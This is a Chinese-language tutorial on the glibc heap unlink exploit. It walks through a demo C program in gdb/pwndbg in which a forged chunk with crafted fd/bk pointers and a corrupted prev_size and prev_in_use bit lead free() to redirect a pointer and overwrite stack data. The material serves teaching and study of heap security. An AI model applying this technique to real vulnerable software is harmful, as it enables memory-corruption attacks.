unlink简介
unlink的目的是把一个双向链表中的空闲块拿出来，如图。
也就是
设置 P->fd->bk = P->bk.
设置 P->bk->fd = P->fd.
unlink时执行的检查
以前的unlink是没有检查的，很容易利用，不过现在多了两项检查，所以在利用时候要绕过这些检查。
| Function | Security Check | Error |
|---|
| unlink | chunk size是否等于next chunk(内存意义上的)的prev_size | corrupted size vs. prev_size |
| unlink | 检查是否P->fd->bk == P 以及 P->bk->fd == P | corrupted double-linked list |
unlink exploit
准备
通过一个例子来学习一下，这个例子是Heap Exploitation系列的unlink，为了便于理解，我会用gdb详细的调试一下。
首先，编译程序，我使用的系统是ubuntu14.04 64位，将下面的示例代码编译出来，带上-g参数。
sakura@ubuntu:~$ gcc -g unlink.c -o unlink
unlink.c: In function ‘main’:
unlink.c:46:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]
printf("%x\n", chunk1[3]);
^
#include
#include
#include
#include
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x80);
chunk2 = malloc(0x80);
printf("%p\n", &chunk1);
printf("%p\n", chunk1);
printf("%p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("%p\n", chunk1);
printf("%x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
我使用了一个gdb插件pwndbg(应该是插件吧？)，需要安装的话。
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
开始调试
pwndbg> b 20
Breakpoint 1 at 0x400695: file unlink.c, line 20.
pwndbg> r
pwndbg> n
这样就开始malloc第一个chunk了，返回的地址放在rax里，然后存到栈里。
继续看第二个chunk的地址
pwndbg> n
接下来的三条命令其实就是输出我们刚刚调试出来的chunk地址的，所以过掉就行了，不过可以检查一下我们找的是不是对的。
pwndbg> b 25
Breakpoint 2 at 0x4006f3: file unlink.c, line 25.
pwndbg> c
Continuing.
0x7fffffffdd60
0x602010
0x6020a0
然后来详细的说明一下，是怎么unlink exploit的。
假设攻击者已经控制了chunk1的数据，并且可以溢出到chunk2的元数据。
因为我们能够控制chunk1的数据，所以当然可以在chunk1里伪造一个chunk出来。
fake_chunk = (struct chunk_structure *)chunk1;
我们知道，返回给我们的chunk实际上是mem指针，如下图的mem就是chunk1
通过将 chunk1 强制转换为 struct chunk_structure 结构体，就伪造出了一个chunk。
相当于
然后我们看一下此时的 chunk1 的内存。
pwndbg> x /10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
再看一下 fake_chunk，地址为0xffffcf80，指向0x0804b008（mem)
pwndbg> p $rbp-0x40
$1 = (void *) 0x7fffffffdd70
pwndbg> x /x 0x7fffffffdd70
0x7fffffffdd70: 0x0000000000602010
通过检查点1
接下来要确保 chunk->fd->bk == chunk
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
如果不熟悉指针加减运算的，可以参考这篇文章
&chunk1是指存放chunk1这个被分配出来的heap的地址的栈地址,即0x7fffffffdd60
pwndbg> stack 10
00:0000│ rsp 0x7fffffffdd60 —▸ 0x602010 ◂— 0x0
01:0008│ 0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│ 0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│ 0x7fffffffdd78 —▸ 0x40084d (__libc_csu_init+77) ◂— add rbx, 1
04:0020│ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│ 0x7fffffffdd88 ◂— 0x0
06:0030│ 0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400
08:0040│ 0x7fffffffdda0 —▸ 0x7fffffffde90 ◂— 0x1
09:0048│ 0x7fffffffdda8 ◂— 0x0
此时的chunk1
pwndbg> x /10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x00007fffffffdd48 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
接下来要确保chunk->bk->fd == chunk
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
此时的chunk1
pwndbg> x /10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000<=fake_chunk(mem) 0x0000000000000000
0x602020: 0x00007fffffffdd48<=fake_chunk->fd 0x00007fffffffdd50<=fake_chunk->bk
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
我相信到这个时候你已经凌乱了,因为我一开始看到这里的时候也挺凌乱的（因为我指针学的不好emmm..)
让我们再理一下。
首先观察一下栈段，我们知道我们的变量都是存在栈上的，chunk1、fake_chunk都是指针，指针的值都是一个表示地址空间中某个存储器单元的整数，这也就是我们说的指向。
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
pwndbg> stack 10
00:0000│ rsp 0x7fffffffdd60 —▸ 0x602010 ◂— 0x0
01:0008│ 0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│ 0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│ 0x7fffffffdd78 —▸ 0x40084d (__libc_csu_init+77) ◂— add rbx, 1
04:0020│ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│ 0x7fffffffdd88 ◂— 0x0
06:0030│ 0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400
08:0040│ 0x7fffffffdda0 —▸ 0x7fffffffde90 ◂— 0x1
09:0048│ 0x7fffffffdda8 ◂— 0x0
chunk1=0x602010
&chunk1=0x7fffffffdd60
fake_chunk=0x602010
&fake_chunk=0x7fffffffdd70
然后我们再看一下fake_chunk->fd，和fake_chunk_bk的值是多少。
pwndbg> x /10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000<=fake_chunk(mem) 0x0000000000000000
0x602020: 0x00007fffffffdd48<=fake_chunk->fd 0x00007fffffffdd50<=fake_chunk->bk
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
fake_chunk->fd=0x00007fffffffdd48
fake_chunk->bk=0x00007fffffffdd50
需要知道的是，fd和bk的类型同样是struct chunk_structure ，也就是说fake->chunk->fd/bk指向的内存也是"*结构体"
struct chunk_structure *fd;
struct chunk_structure *bk;
所以这个指向的"结构体"是这样的。
pwndbg> x /10gx 0x00007fffffffdd48
0x7fffffffdd48: 0x00007ffff7ffe1c8->prev_size 0x0000000000000003->size
0x7fffffffdd58: 0x00000000004006f3->fd 0x0000000000602010->bk
0x7fffffffdd68: 0x00000000006020a0 0x0000000000602010
0x7fffffffdd78: 0x000000000040084d 0x00007fffffffddb0
0x7fffffffdd88: 0x0000000000000000 0x0000000000400800
所以fake_chunk->fd->bk=0x0000000000602010=chunk1
而我们知道fake_chunk=chunk1。
fake_chunk = (struct chunk_structure *)chunk1;
所以这样就过了chunk->fd->bk==chunk的检查
chunk->bk->fd == chunk也是同理的
通过检查点2
然后为了通过检查点chunk size是否等于next chunk(内存意义上的)的prev_size,我们需要修改chunk2的prev_size
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
pwndbg> x /10gx 0x602090
0x602090: 0x0000000000000080 0x0000000000000090
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
触发unlink
当我们free(chunk2)的时候，因为prev_in_use位被置0，代表前一个chunk（也就是我们的fake_chunk)也处于free，连续的空闲堆块合并而进行unlink操作。
也就是设置
P->fd->bk = P->bk.
P->bk->fd = P->fd.
可以看出fake_chunk->fd->bk和fake_chunk->bk->fd都指向(或者说等于)chunk1,即0x0000000000602010，所以只需要关注第二次操作即可。
P->fd 即 fake_chunk->fd=0x00007fffffffdd48
所以 unlink 之后，P->bk->fd 由 0x602010 变为 0x00007fffffffdd48
00:0000│ rsp 0x7fffffffdd60 —▸ 0x602010 <=P->bk->fd
01:0008│ 0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│ 0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│ 0x7fffffffdd78 —▸ 0x602090 ◂— 0x80
04:0020│ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│ 0x7fffffffdd88 ◂— 0x0
06:0030│ 0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400
变为
00:0000│ rsp 0x7fffffffdd60 —▸ 0x7fffffffdd48 <=P->bk->fd
01:0008│ 0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│ 0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│ 0x7fffffffdd78 —▸ 0x602090 ◂— 0x80
04:0020│ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│ 0x7fffffffdd88 ◂— 0x0
06:0030│ 0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400
也就是说现在chunk1的值变成了0x7fffffffdd48，chunk1[3]实际上就是chunk1。
45 printf("%p\n", chunk1);
46 printf("%x\n", chunk1[3]);
...
pwndbg> b 47
Breakpoint 3 at 0x400788: file unlink.c, line 47.
pwndbg> c
Continuing.
0x7fffffffdd48
ffffdd48
exp
改变chunk1[3]就是改变chunk1,在本例中, chunk1用于指向变量data并且通过改变chunk1从而影响到了该变量。
chunk1[3] = (unsigned long long)data;
可以看出现在chunk1的值已经变成了data的地址0x7fffffffdd80
00:0000│ rdx rsp 0x7fffffffdd60 —▸ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
改变data的值为Victim's data
strcpy(data, "Victim's data");
在内存中查看
pwndbg> x /s 0x7fffffffdd80
0x7fffffffdd80: "Victim's data"
现在的chunk1已经指向data了，通过给chunk1[0]赋值，其实就是给data赋值。
chunk1[0] = 0x002164656b636168LL;
查看内存
pwndbg> x /s 0x7fffffffdd80
0x7fffffffdd80: "hacked!"
果然已经变了。
字符串已经变成了hacked!
pwndbg> n
hacked!
不知道这些指针跳来跳去的有没有把你绕晕呢~如果晕了的话就自己调一调吧~
参考链接
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html
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